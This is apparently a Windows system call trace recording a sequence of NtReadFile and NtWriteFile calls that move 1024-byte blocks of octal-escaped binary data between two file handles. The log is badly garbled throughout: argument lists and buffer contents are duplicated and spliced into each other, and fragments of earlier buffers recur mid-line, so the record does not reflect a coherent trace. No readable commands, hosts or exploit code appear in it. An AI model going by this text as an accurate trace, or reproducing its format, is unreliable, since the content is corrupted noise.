266\314\35\307\227h\210t\371\331\347i\314\377391<\235\354=\2475\275\22\230\250[E88\226d\346\230Z\340\373\247\33[y\276\304\316\377\343\236(\20\2178\15\274\13\11\241\375\364\254\371\243\213z\267\22\252\321\370\306F2\3762\225\273\345\301p\1(\364`\302C\316\321\252\3370f\272\255S\325\300\226\351\320\360L\320 \305S\10^\177\337\365\2\311\252J.\6\250j \335e\212J\3734l\15\34\323pGQ\14\252\203Yu3\265\243XL\313\227I\261\266k:s\307P\356\28\372", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \234P\352~\223\203\324\3x{\201\306Z\220\321wNz\27cZ-\301\352\374'\334\242\16\314}Fd\0%\236.[:\305\254Vd\240n\206\237m\356i\210\300\356\20;\262\220\377\320\300\237$+\234\355\H\303\16\231O3-\212\\3476\32\376w\374\376/\331\17\266\314\35\307\227h\210t\371\331\347i\314\377391<\235\354=\2475\275\22\230\250[E88\226d\346\230Z\340\373\247\33[y\276\304\316\377\343\236(\20\2178\15\274\13\11\241\375\364\254\371\243\213z\267\22\252\321\370\306F2\3762\225\273\345\301p\1(\364`\302C\316\321\252\3370f\272\255S\325\300\226\351\320\360L\320 \305S\10^\177\337\365\2\311\252J.\6\250j \335e\212J\3734l\15\34\323pGQ\14\252\203Yu3\265\243XL\313\227I\261\266k:s\307P\356\28\372", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01312  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\245\251n\225<}\306\25\1P"3<\2762\337\367\271:\245r9\326=F|\t\26\347e\6;d%"\340.]\312\313)\30526\3471\33r\244U\27\262\370\377k;\3\361\34\311\36\337\30$'\263\24\35\22h\20|0\17S\15\227\13\230\11\3319\4\313\2\302\0-$1\35!W\37@\35O\33\272&\30\206\26\361\24\332\22./3aX\10\250\16\307\14\304\2b\7\236\1\306\3\20!8#3\35\30\37s\31|\33M\25\250\27\246\21y\20F\16\341\14\262\13\275\11\225\7\222\5;?-=?\32\240\35\351\20F\23\237\25=\24\200\32\206\30\237\36\227\34\3579\245\272:t\76\344\263\311\277\3153\271\306?\346\343\342c\11\3374f"\204"\33\24\17)(^%\355D.\317\346\333\250\265=\327'T\262\7:7vv\350\256\\231\24\273u\240(9\255/+g-<\13"\305;$/3\321\33s\21\334\275r<\262w\272\34\177oU\32t\231q\356u(\3029\314\203G~d\15"\303(E\344\217\32e\26?vg\363\237\341\334\347H6.\24L6\24\334@\0.\303M\336\253o)j\3524\376&,\34\353A;\27\2642t+\270>\273\335\303\302\2562\217=\317\34IqIN\322!M\255g(*x\3249\365\216>\273#\311\363t\264\321u:\275\36\247%-=hK_\37\36\33\274!!>\205'w\204*\251-\177\177e\35wcf2gmeapmln;dx\10\11+\34\25;7S}O\223\216y\306/.JFDH\326G\207\217r2Y\25"rWMMC", ) 3<\2762\337\367\271:\245r9\326=F|\t\26\347e\6;d% (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\245\251n\225<}\306\25\1P"3<\2762\337\367\271:\245r9\326=F|\t\26\347e\6;d%"\340.]\312\313)\30526\3471\33r\244U\27\262\370\377k;\3\361\34\311\36\337\30$'\263\24\35\22h\20|0\17S\15\227\13\230\11\3319\4\313\2\302\0-$1\35!W\37@\35O\33\272&\30\206\26\361\24\332\22./3aX\10\250\16\307\14\304\2b\7\236\1\306\3\20!8#3\35\30\37s\31|\33M\25\250\27\246\21y\20F\16\341\14\262\13\275\11\225\7\222\5;?-=?\32\240\35\351\20F\23\237\25=\24\200\32\206\30\237\36\227\34\3579\245\272:t\76\344\263\311\277\3153\271\306?\346\343\342c\11\3374f"\204"\33\24\17)(^%\355D.\317\346\333\250\265=\327'T\262\7:7vv\350\256\\231\24\273u\240(9\255/+g-<\13"\305;$/3\321\33s\21\334\275r<\262w\272\34\177oU\32t\231q\356u(\3029\314\203G~d\15"\303(E\344\217\32e\26?vg\363\237\341\334\347H6.\24L6\24\334@\0.\303M\336\253o)j\3524\376&,\34\353A;\27\2642t+\270>\273\335\303\302\2562\217=\317\34IqIN\322!M\255g(*x\3249\365\216>\273#\311\363t\264\321u:\275\36\247%-=hK_\37\36\33\274!!>\205'w\204*\251-\177\177e\35wcf2gmeapmln;dx\10\11+\34\25;7S}O\223\216y\306/.JFDH\326G\207\217r2Y\25"rWMMC", ) \361\34\311\36\337\30$'\263\24\35\22h\20|0\17S\15\227\13\230\11\3319\4\313\2\302\0-$1\35!W\37@\35O\33\272&\30\206\26\361\24\332\22./3aX\10\250\16\307\14\304\2b\7\236\1\306\3\20!8#3\35\30\37s\31|\33M\25\250\27\246\21y\20F\16\341\14\262\13\275\11\225\7\222\5;?-=?\32\240\35\351\20F\23\237\25=\24\200\32\206\30\237\36\227\34\3579\245\272:t\76\344\263\311\277\3153\271\306?\346\343\342c\11\3374f (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\245\251n\225<}\306\25\1P"3<\2762\337\367\271:\245r9\326=F|\t\26\347e\6;d%"\340.]\312\313)\30526\3471\33r\244U\27\262\370\377k;\3\361\34\311\36\337\30$'\263\24\35\22h\20|0\17S\15\227\13\230\11\3319\4\313\2\302\0-$1\35!W\37@\35O\33\272&\30\206\26\361\24\332\22./3aX\10\250\16\307\14\304\2b\7\236\1\306\3\20!8#3\35\30\37s\31|\33M\25\250\27\246\21y\20F\16\341\14\262\13\275\11\225\7\222\5;?-=?\32\240\35\351\20F\23\237\25=\24\200\32\206\30\237\36\227\34\3579\245\272:t\76\344\263\311\277\3153\271\306?\346\343\342c\11\3374f"\204"\33\24\17)(^%\355D.\317\346\333\250\265=\327'T\262\7:7vv\350\256\\231\24\273u\240(9\255/+g-<\13"\305;$/3\321\33s\21\334\275r<\262w\272\34\177oU\32t\231q\356u(\3029\314\203G~d\15"\303(E\344\217\32e\26?vg\363\237\341\334\347H6.\24L6\24\334@\0.\303M\336\253o)j\3524\376&,\34\353A;\27\2642t+\270>\273\335\303\302\2562\217=\317\34IqIN\322!M\255g(*x\3249\365\216>\273#\311\363t\264\321u:\275\36\247%-=hK_\37\36\33\274!!>\205'w\204*\251-\177\177e\35wcf2gmeapmln;dx\10\11+\34\25;7S}O\223\216y\306/.JFDH\326G\207\217r2Y\25"rWMMC", ) \33\24\17)(^%\355D.\317\346\333\250\265=\327'T\262\7:7vv\350\256\\231\24\273u\240(9\255/+g-<\13 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\245\251n\225<}\306\25\1P"3<\2762\337\367\271:\245r9\326=F|\t\26\347e\6;d%"\340.]\312\313)\30526\3471\33r\244U\27\262\370\377k;\3\361\34\311\36\337\30$'\263\24\35\22h\20|0\17S\15\227\13\230\11\3319\4\313\2\302\0-$1\35!W\37@\35O\33\272&\30\206\26\361\24\332\22./3aX\10\250\16\307\14\304\2b\7\236\1\306\3\20!8#3\35\30\37s\31|\33M\25\250\27\246\21y\20F\16\341\14\262\13\275\11\225\7\222\5;?-=?\32\240\35\351\20F\23\237\25=\24\200\32\206\30\237\36\227\34\3579\245\272:t\76\344\263\311\277\3153\271\306?\346\343\342c\11\3374f"\204"\33\24\17)(^%\355D.\317\346\333\250\265=\327'T\262\7:7vv\350\256\\231\24\273u\240(9\255/+g-<\13"\305;$/3\321\33s\21\334\275r<\262w\272\34\177oU\32t\231q\356u(\3029\314\203G~d\15"\303(E\344\217\32e\26?vg\363\237\341\334\347H6.\24L6\24\334@\0.\303M\336\253o)j\3524\376&,\34\353A;\27\2642t+\270>\273\335\303\302\2562\217=\317\34IqIN\322!M\255g(*x\3249\365\216>\273#\311\363t\264\321u:\275\36\247%-=hK_\37\36\33\274!!>\205'w\204*\251-\177\177e\35wcf2gmeapmln;dx\10\11+\34\25;7S}O\223\216y\306/.JFDH\326G\207\217r2Y\25"rWMMC", ) \303(E\344\217\32e\26?vg\363\237\341\334\347H6.\24L6\24\334@\0.\303M\336\253o)j\3524\376&,\34\353A;\27\2642t+\270>\273\335\303\302\2562\217=\317\34IqIN\322!M\255g(*x\3249\365\216>\273#\311\363t\264\321u:\275\36\247%-=hK_\37\36\33\274!!>\205'w\204*\251-\177\177e\35wcf2gmeapmln;dx\10\11+\34\25;7S}O\223\216y\306/.JFDH\326G\207\217r2Y\25 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\245\251n\225<}\306\25\1P"3<\2762\337\367\271:\245r9\326=F|\t\26\347e\6;d%"\340.]\312\313)\30526\3471\33r\244U\27\262\370\377k;\3\361\34\311\36\337\30$'\263\24\35\22h\20|0\17S\15\227\13\230\11\3319\4\313\2\302\0-$1\35!W\37@\35O\33\272&\30\206\26\361\24\332\22./3aX\10\250\16\307\14\304\2b\7\236\1\306\3\20!8#3\35\30\37s\31|\33M\25\250\27\246\21y\20F\16\341\14\262\13\275\11\225\7\222\5;?-=?\32\240\35\351\20F\23\237\25=\24\200\32\206\30\237\36\227\34\3579\245\272:t\76\344\263\311\277\3153\271\306?\346\343\342c\11\3374f"\204"\33\24\17)(^%\355D.\317\346\333\250\265=\327'T\262\7:7vv\350\256\\231\24\273u\240(9\255/+g-<\13"\305;$/3\321\33s\21\334\275r<\262w\272\34\177oU\32t\231q\356u(\3029\314\203G~d\15"\303(E\344\217\32e\26?vg\363\237\341\334\347H6.\24L6\24\334@\0.\303M\336\253o)j\3524\376&,\34\353A;\27\2642t+\270>\273\335\303\302\2562\217=\317\34IqIN\322!M\255g(*x\3249\365\216>\273#\311\363t\264\321u:\275\36\247%-=hK_\37\36\33\274!!>\205'w\204*\251-\177\177e\35wcf2gmeapmln;dx\10\11+\34\25;7S}O\223\216y\306/.JFDH\326G\207\217r2Y\25"rWMMC", ) , ) == 0x0
 01313  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\211\24<\31|o\326Q\303\35\312C\357\21\325n\2466\226\334,\34K\376\10\340\27\245`^\271\364F#\323g\3440\227K>\24\7.>\353\264AL\241\327y&h=\341\21\14\15\260\272\277\252[\276\245\375\322\31\321!\355\201\13\263n\260\36\243\207X\3501}X\335H\355\376\333'\31S\271\231B\362\13\373\23g\256\366\225f\320\322\356\275\323\372\231\23-+x\236\10\2544\0.\205\222rF\314\31\352\16f\21[T\270\370\253\216N", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01314  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\227\330\307\10\337,-#-:\12\3$)R\30\301\36\321#\216\337\3?\226Rx\313\3\361:N\25\270\345A\14%\3\36k$\32\331V9r\316#\252\222\230!\251\355Z?\333!?d\334F\32079|\273?\3722}\242\2278\231.\16O\14\22't\235.R\206,J?-G,<\2409\12Y\31g\336-}\2532\27\272.\36\327,\335\323\231D\220'C"1v\330\375\303-\215v\314)>7\316\345Z1}\304)\372+X$\354\7\375[\4]\276|\0\301 ,\240\345C9\356h!j\342\257\364\321\252\371Q=\223\25371\10z\22xR3\35?\15\333>\34\1@O>"<$:&:(\252\306;,~xE6[3Y6u\4\354\307\271j\3734\265\37674M\226\320S\310\274\242\276-\2\324\265*\16\302\306-\12\212' \261!!\260&?&\203\5\261;\15\236\2\363[\27-\366:b5\200\177\302\2\27\317jb>\233\354,\246\242\266k\230\17\6\335\314g8\3208\310\227\266>\365\230\375\36\355\265\177z \340\332&L\330@\331\227h,-/K\22116cP5\277\228=\271\327\14k?\357Xv\26t\34JnH+0O#\367\275@,\247-\337\177\330\203\343\317\313!n79/\273\277\2705\354>\27i\247s\231\10a\343%'&&\346\)\2133,/\371\355C\3726k7fbBK\271k_y\31\3458\22L\25lvO\341\22Z$$\12\16\241\0cE\252\4\275\357\12DB1\364\346\?:\12\341\273\240\264\242\33\237\254\35\35\367\13\341!#B)&!\210\15x{\247\342\15\363a1\250#\260\365B\12\330<6\323>\36\237!;\355\366\347\340#rK\246]\247\2\245gC\303\365m\252", ) 1v\330\375\303-\215v\314)>7\316\345Z1}\304)\372+X$\354\7\375[\4]\276|\0\301 ,\240\345C9\356h!j\342\257\364\321\252\371Q=\223\25371\10z\22xR3\35?\15\333>\34\1@O> (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\227\330\307\10\337,-#-:\12\3$)R\30\301\36\321#\216\337\3?\226Rx\313\3\361:N\25\270\345A\14%\3\36k$\32\331V9r\316#\252\222\230!\251\355Z?\333!?d\334F\32079|\273?\3722}\242\2278\231.\16O\14\22't\235.R\206,J?-G,<\2409\12Y\31g\336-}\2532\27\272.\36\327,\335\323\231D\220'C"1v\330\375\303-\215v\314)>7\316\345Z1}\304)\372+X$\354\7\375[\4]\276|\0\301 ,\240\345C9\356h!j\342\257\364\321\252\371Q=\223\25371\10z\22xR3\35?\15\333>\34\1@O>"<$:&:(\252\306;,~xE6[3Y6u\4\354\307\271j\3734\265\37674M\226\320S\310\274\242\276-\2\324\265*\16\302\306-\12\212' \261!!\260&?&\203\5\261;\15\236\2\363[\27-\366:b5\200\177\302\2\27\317jb>\233\354,\246\242\266k\230\17\6\335\314g8\3208\310\227\266>\365\230\375\36\355\265\177z \340\332&L\330@\331\227h,-/K\22116cP5\277\228=\271\327\14k?\357Xv\26t\34JnH+0O#\367\275@,\247-\337\177\330\203\343\317\313!n79/\273\277\2705\354>\27i\247s\231\10a\343%'&&\346\)\2133,/\371\355C\3726k7fbBK\271k_y\31\3458\22L\25lvO\341\22Z$$\12\16\241\0cE\252\4\275\357\12DB1\364\346\?:\12\341\273\240\264\242\33\237\254\35\35\367\13\341!#B)&!\210\15x{\247\342\15\363a1\250#\260\365B\12\330<6\323>\36\237!;\355\366\347\340#rK\246]\247\2\245gC\303\365m\252", ) , ) == 0x0
 01315  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\230\306\373,\335Ok\15dxXOu\365d\243\273\314\345\2654\27\341e\205\376-B\260\363^\367\213kW\30\317\322\300W\224\342\342;\204\312\237\211\317\210\31\340I\333\360r\263L=P\14MCex\267\201.\25s\261@XFVe\202f\353\265`~\354\23\341\233V\306#\267\362\304\221:I{sQ\363\22\252h\244A\217\353\307#\375P&9-c,Gjh\10\271\14f-\222\237w:\350\22\263\220V\327:?v6\304\202\323\323W\343Q\304c\366\251!LZ5Y\337\353\202\17\202\201\2725g}\257j\267\20($bK\367\27i\222\2260A$\244\300\27\346"$d\277\372\\21\246\237\250\243w\334`\375\203"\360\372\355^ 3\2263\266\260\211\357\31\323p\252\376\326\274H\354G\11\316\345\267S:\255!\1\266\321\266\307a\316\2074\245\37\302\337<\22zK\2113\26\31s\11\275\320\243\22\0\373(\204`uau)\364]\334\3043\16\376\254\20\23\204\346\235\201\14Rc\327F\\273e\346rn\321\351\16\274\326\260\149mmO6\201\274\264\236s\254\262\32\2737\321rO1\345\335\15\276\277};\204\220\357k\233t7\261\267#!:\214\210?\335m\365\374Q\24\244d\217\235C\33b\3269\201\264\210\276N\370\2130*\261\205\304%J\267\347\207\254\346_\333\263\12\324\213P\257\275T\24\360?M\263\271E\251p\376q\245\305(\2073\274\2333\323S&$\352\356\16\24\12#\11\2678&\375\3366\275\225\261\375zf.\354\330\227$\313\365\217\324\22\34\33\213\253\254\323\35\334\7\241a\354\222]l\377\2\261R\320rT5t\315\236\316\25\241\212\371\346\261\315}U\212\371\302\372\211\245V\235*N|\27\310\336\35>m\317L\4\310\250bx\326\366\315", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) $d\277\372\\21\246\237\250\243w\334`\375\203 (92, 0, 0, 0, "\230\306\373,\335Ok\15dxXOu\365d\243\273\314\345\2654\27\341e\205\376-B\260\363^\367\213kW\30\317\322\300W\224\342\342;\204\312\237\211\317\210\31\340I\333\360r\263L=P\14MCex\267\201.\25s\261@XFVe\202f\353\265`~\354\23\341\233V\306#\267\362\304\221:I{sQ\363\22\252h\244A\217\353\307#\375P&9-c,Gjh\10\271\14f-\222\237w:\350\22\263\220V\327:?v6\304\202\323\323W\343Q\304c\366\251!LZ5Y\337\353\202\17\202\201\2725g}\257j\267\20($bK\367\27i\222\2260A$\244\300\27\346"$d\277\372\\21\246\237\250\243w\334`\375\203"\360\372\355^ 3\2263\266\260\211\357\31\323p\252\376\326\274H\354G\11\316\345\267S:\255!\1\266\321\266\307a\316\2074\245\37\302\337<\22zK\2113\26\31s\11\275\320\243\22\0\373(\204`uau)\364]\334\3043\16\376\254\20\23\204\346\235\201\14Rc\327F\\273e\346rn\321\351\16\274\326\260\149mmO6\201\274\264\236s\254\262\32\2737\321rO1\345\335\15\276\277};\204\220\357k\233t7\261\267#!:\214\210?\335m\365\374Q\24\244d\217\235C\33b\3269\201\264\210\276N\370\2130*\261\205\304%J\267\347\207\254\346_\333\263\12\324\213P\257\275T\24\360?M\263\271E\251p\376q\245\305(\2073\274\2333\323S&$\352\356\16\24\12#\11\2678&\375\3366\275\225\261\375zf.\354\330\227$\313\365\217\324\22\34\33\213\253\254\323\35\334\7\241a\354\222]l\377\2\261R\320rT5t\315\236\316\25\241\212\371\346\261\315}U\212\371\302\372\211\245V\235*N|\27\310\336\35>m\317L\4\310\250bx\326\366\315", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01316  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\6\333bP9;\15\15\30?\1777$\270\236\3610\340\224b\263\361\236\323j\335:\264&\255,Nl\22#4\206\257\357\2444\240q*%\244U!Elbg;\334\370\205ve5\276\373I+\16\177}\34\37\243\31"\1H)a\305'\212\316(:A!\315/\262\31\3243G\17\325\26\3785\373\260\16\300\32 (\334\337\25\341\363P"3\26,\241\364H=[+\374M\2300A1R\21\36D6\347X\14K;Q\355^\177j\34\315~TQ!\342\1r\376W'\370IKZ,\375NCA1\222\21\202BG7\350Y\270J<\355^\262j\34\377\36\373\303! \313\371\307&\12\240(*)\335--\307\375\3032\221B\30163\320\204\310;\203\311>w\36\364\260\354\37(#\321#"1\316\272\332){\337,*\306\242u\3032\251\3005>\337E\313:\330\255\311>6'D!\30!\32\37r\35z\33^\31\256\27\314\251\22w\20E\16\240\14\302\1266\210;::\264==\12+N-\235/\217\21=\22\32\24G\26\\30\247\32%\374\35S\3\251\17\6\25\4\14\12\330\10\324\16\16\15]\21/0\35\21\341 mp\5jj\10y\32\5\35\37\2551C\261,45\266(34\306:88,>5\33\20\311\36\35\240!"'wsqA\251\305\252+,,\247\311\330\334204\312\0_1+\354Xn=\224KI\34qL\37Hs"Gv%\214Gz)vy,u|/dc2\231dg6{j9ri, ) 7$\270\236\3610\340\224b\263\361\236\323j\335:\264&\255,Nl\22#4\206\257\357\2444\240q*%\244U!Elbg;\334\370\205ve5\276\373I+\16\177}\34\37\243\31 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\6\333bP9;\15\15\30?\1777$\270\236\3610\340\224b\263\361\236\323j\335:\264&\255,Nl\22#4\206\257\357\2444\240q*%\244U!Elbg;\334\370\205ve5\276\373I+\16\177}\34\37\243\31"\1H)a\305'\212\316(:A!\315/\262\31\3243G\17\325\26\3785\373\260\16\300\32 (\334\337\25\341\363P"3\26,\241\364H=[+\374M\2300A1R\21\36D6\347X\14K;Q\355^\177j\34\315~TQ!\342\1r\376W'\370IKZ,\375NCA1\222\21\202BG7\350Y\270J<\355^\262j\34\377\36\373\303! \313\371\307&\12\240(*)\335--\307\375\3032\221B\30163\320\204\310;\203\311>w\36\364\260\354\37(#\321#"1\316\272\332){\337,*\306\242u\3032\251\3005>\337E\313:\330\255\311>6'D!\30!\32\37r\35z\33^\31\256\27\314\251\22w\20E\16\240\14\302\1266\210;::\264==\12+N-\235/\217\21=\22\32\24G\26\\30\247\32%\374\35S\3\251\17\6\25\4\14\12\330\10\324\16\16\15]\21/0\35\21\341 mp\5jj\10y\32\5\35\37\2551C\261,45\266(34\306:88,>5\33\20\311\36\35\240!"'wsqA\251\305\252+,,\247\311\330\334204\312\0_1+\354Xn=\224KI\34qL\37Hs"Gv%\214Gz)vy,u|/dc2\231dg6{j9ri, ) 3\26,\241\364H=[+\374M\2300A1R\21\36D6\347X\14K;Q\355^\177j\34\315~TQ!\342\1r\376W'\370IKZ,\375NCA1\222\21\202BG7\350Y\270J<\355^\262j\34\377\36\373\303! \313\371\307&\12\240(*)\335--\307\375\3032\221B\30163\320\204\310;\203\311>w\36\364\260\354\37(#\321# (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\6\333bP9;\15\15\30?\1777$\270\236\3610\340\224b\263\361\236\323j\335:\264&\255,Nl\22#4\206\257\357\2444\240q*%\244U!Elbg;\334\370\205ve5\276\373I+\16\177}\34\37\243\31"\1H)a\305'\212\316(:A!\315/\262\31\3243G\17\325\26\3785\373\260\16\300\32 (\334\337\25\341\363P"3\26,\241\364H=[+\374M\2300A1R\21\36D6\347X\14K;Q\355^\177j\34\315~TQ!\342\1r\376W'\370IKZ,\375NCA1\222\21\202BG7\350Y\270J<\355^\262j\34\377\36\373\303! \313\371\307&\12\240(*)\335--\307\375\3032\221B\30163\320\204\310;\203\311>w\36\364\260\354\37(#\321#"1\316\272\332){\337,*\306\242u\3032\251\3005>\337E\313:\330\255\311>6'D!\30!\32\37r\35z\33^\31\256\27\314\251\22w\20E\16\240\14\302\1266\210;::\264==\12+N-\235/\217\21=\22\32\24G\26\\30\247\32%\374\35S\3\251\17\6\25\4\14\12\330\10\324\16\16\15]\21/0\35\21\341 mp\5jj\10y\32\5\35\37\2551C\261,45\266(34\306:88,>5\33\20\311\36\35\240!"'wsqA\251\305\252+,,\247\311\330\334204\312\0_1+\354Xn=\224KI\34qL\37Hs"Gv%\214Gz)vy,u|/dc2\231dg6{j9ri, ) 'wsqA\251\305\252+,,\247\311\330\334204\312\0_1+\354Xn=\224KI\34qL\37Hs (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\6\333bP9;\15\15\30?\1777$\270\236\3610\340\224b\263\361\236\323j\335:\264&\255,Nl\22#4\206\257\357\2444\240q*%\244U!Elbg;\334\370\205ve5\276\373I+\16\177}\34\37\243\31"\1H)a\305'\212\316(:A!\315/\262\31\3243G\17\325\26\3785\373\260\16\300\32 (\334\337\25\341\363P"3\26,\241\364H=[+\374M\2300A1R\21\36D6\347X\14K;Q\355^\177j\34\315~TQ!\342\1r\376W'\370IKZ,\375NCA1\222\21\202BG7\350Y\270J<\355^\262j\34\377\36\373\303! \313\371\307&\12\240(*)\335--\307\375\3032\221B\30163\320\204\310;\203\311>w\36\364\260\354\37(#\321#"1\316\272\332){\337,*\306\242u\3032\251\3005>\337E\313:\330\255\311>6'D!\30!\32\37r\35z\33^\31\256\27\314\251\22w\20E\16\240\14\302\1266\210;::\264==\12+N-\235/\217\21=\22\32\24G\26\\30\247\32%\374\35S\3\251\17\6\25\4\14\12\330\10\324\16\16\15]\21/0\35\21\341 mp\5jj\10y\32\5\35\37\2551C\261,45\266(34\306:88,>5\33\20\311\36\35\240!"'wsqA\251\305\252+,,\247\311\330\334204\312\0_1+\354Xn=\224KI\34qL\37Hs"Gv%\214Gz)vy,u|/dc2\231dg6{j9ri, ) , ) == 0x0
 01317  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "W>\32\276\34Q\317\303\252\367\312\255*\200JevTYXi_\204\331#\374\321t\340\347\352\1\344`\313\365Jn\357IP\324y\242]\3455.\306\254\307\367y\3218\343\253\371\267\367\231\357\37J\225N]\211\216\305^q\273>\10\330\373\206\253*\250\336C\364`\374\341\325k\31<\354C\230\\340r\210\177t\374\323\267\246\333\364*!\253qN\336\262\300\204\357=n\365\20p\374q\2000\201\250\30\323\312\276\256\344\32\333\211\256\273x\306\25\242\262\3>LdcoR\250\257\224W\251\330S(-\353\376<\37\4\371\277\266\210\300\236\233\234>\311\346\254\316\335\333\326N\355\215\361\207V\347\264\215>4\347\2338\225\21x\372s\3208\118\337\260\370\214\366a\336\265@s\241\376\377{\255G\342\2151\301V5\322\35\3416o\5~\266y\337\302\211\201h\351\232\326\272\317\344\334\207\3073\177\10\215T<~\227\3\36\326\333\344L8QEb,\35ITZ\11\372\302\22\366jS\303$n\262\270m\16\35\12^\310\371\267\3223\322f\1\265\2708\222i\213\202\361.M\305\213\357\335\5~\345\304z2\304\202\364\33H\224\323\337\205\322\335\320s\300\230\233\314=\277\330\221\31", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \365\20p\374q\2000\201\250\30\323\312\276\256\344\32\333\211\256\273x\306\25\242\262\3>LdcoR\250\257\224W\251\330S(-\353\376<\37\4\371\277\266\210\300\236\233\234>\311\346\254\316\335\333\326N\355\215\361\207V\347\264\215>4\347\2338\225\21x\372s\3208\118\337\260\370\214\366a\336\265@s\241\376\377{\255G\342\2151\301V5\322\35\3416o\5~\266y\337\302\211\201h\351\232\326\272\317\344\334\207\3073\177\10\215T<~\227\3\36\326\333\344L8QEb,\35ITZ\11\372\302\22\366jS\303$n\262\270m\16\35\12^\310\371\267\3223\322f\1\265\2708\222i\213\202\361.M\305\213\357\335\5~\345\304z2\304\202\364\33H\224\323\337\205\322\335\320s\300\230\233\314=\277\330\221\31", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01318  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\352\25+-]//1\1120\7\5e\2\313\14\371\15\277\12}\7\30%n'\374\31R\30\20\37\366\35\35\24ZN\354\250\11\372\17)14\333cu\230g\320\233\345\333;\276\3727\273\12A\236\34\20Ur\313\210e F/\357\256\17\10\341\356\251`\2622L\335v\274\26\307\305\204\350\3340\274\13\325\342-\337\200,\320\215\3235\367n\30\36+n\374-\252\17e\275\26\273\345\337\32\274\211\354\10\32Z\315\342E\363\323\35Twp\311F\1y!\26"\30*%C\250l$\175\274\3426\364\23N\37R)j\273\344\11\348\24\230\207\234\277!\253\202Au32\213\271`\2127\241\240^e\233\2212c51\273\273\2319\177n\237=\223\237\33&\277\36k\201!\15v\206%\202\206(\15\210+\250<*6e\2232\377\22558\2258\355;9?X\234?\347M\34\346H2^s"\26u\217\303!\345H\307%}\306&#\367!3x\21\12];h\322\370\27\335 \310\37\36\355\32\300\241t\344CPup\323,T\332/\231)~,,\235\3322\3041&#\14<.\75\24A\340\10\23\35\21\37/!\312\247af$\373n++\303\l,kt\25\2\223\4e\^81z3\324!\6\237\5J\342\13\207+\341W\343$\375\346'\2218*(\354\36\356\242\214\25N\222M\264\274\203\313\222:2\364=\256?n\234\375\37\237\264\342\312\300\305\304WR1)\241\177\109\245j\14\262r\366\10w\263\367\261\271;48\270I\177\37\367\2\225S\4)6\252\250G3\252,`\247\213(\255\245;\2652*\247\266\16\231W-\231\23\32=]k,\232P#\37N;*\333\313vd\31s\310\0\342\252}\24|\244\300[3\30\224Ov\370\371\3078\323", ) \30*%C\250l$\175\274\3426\364\23N\37R)j\273\344\11\348\24\230\207\234\277!\253\202Au32\213\271`\2127\241\240^e\233\2212c51\273\273\2319\177n\237=\223\237\33&\277\36k\201!\15v\206%\202\206(\15\210+\250<*6e\2232\377\22558\2258\355;9?X\234?\347M\34\346H2^s (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\352\25+-]//1\1120\7\5e\2\313\14\371\15\277\12}\7\30%n'\374\31R\30\20\37\366\35\35\24ZN\354\250\11\372\17)14\333cu\230g\320\233\345\333;\276\3727\273\12A\236\34\20Ur\313\210e F/\357\256\17\10\341\356\251`\2622L\335v\274\26\307\305\204\350\3340\274\13\325\342-\337\200,\320\215\3235\367n\30\36+n\374-\252\17e\275\26\273\345\337\32\274\211\354\10\32Z\315\342E\363\323\35Twp\311F\1y!\26"\30*%C\250l$\175\274\3426\364\23N\37R)j\273\344\11\348\24\230\207\234\277!\253\202Au32\213\271`\2127\241\240^e\233\2212c51\273\273\2319\177n\237=\223\237\33&\277\36k\201!\15v\206%\202\206(\15\210+\250<*6e\2232\377\22558\2258\355;9?X\234?\347M\34\346H2^s"\26u\217\303!\345H\307%}\306&#\367!3x\21\12];h\322\370\27\335 \310\37\36\355\32\300\241t\344CPup\323,T\332/\231)~,,\235\3322\3041&#\14<.\75\24A\340\10\23\35\21\37/!\312\247af$\373n++\303\l,kt\25\2\223\4e\^81z3\324!\6\237\5J\342\13\207+\341W\343$\375\346'\2218*(\354\36\356\242\214\25N\222M\264\274\203\313\222:2\364=\256?n\234\375\37\237\264\342\312\300\305\304WR1)\241\177\109\245j\14\262r\366\10w\263\367\261\271;48\270I\177\37\367\2\225S\4)6\252\250G3\252,`\247\213(\255\245;\2652*\247\266\16\231W-\231\23\32=]k,\232P#\37N;*\333\313vd\31s\310\0\342\252}\24|\244\300[3\30\224Ov\370\371\3078\323", ) , ) == 0x0
